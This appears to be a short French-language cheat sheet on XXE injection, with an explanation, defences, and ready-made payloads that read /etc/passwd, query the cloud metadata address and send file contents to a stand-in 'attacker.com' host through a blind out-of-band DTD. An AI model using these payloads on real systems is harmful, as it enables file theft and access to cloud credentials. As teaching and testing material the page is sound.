XXE — XML External Entity Injection

OWASP A05 Critique

Qu'est-ce que XXE ?

Une injection XXE survient quand un parseur XML traite des entités externes définies par l'attaquant. En abusant de la balise <!ENTITY>, on peut lire des fichiers locaux, déclencher des SSRF, exfiltrer des données ou provoquer un déni de service. Vulnérabilité fréquente sur les endpoints SOAP, les imports XML/SVG/DOCX et les API acceptant du Content-Type: application/xml.

Lecture de fichier local

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

XXE vers SSRF

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Exfiltration OOB (blind XXE)

<!-- Hébergé sur l attaquant : evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval; %exfil;

<!-- Payload -->
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>

Défenses

Désactiver le traitement des DTD et entités externes dans le parseur (FEATURE_SECURE_PROCESSING, disallow-doctype-decl en Java, libxml_disable_entity_loader(true) en PHP < 8) · préférer des formats comme JSON quand XML n'est pas nécessaire · valider/filtrer en entrée et maintenir les bibliothèques à jour.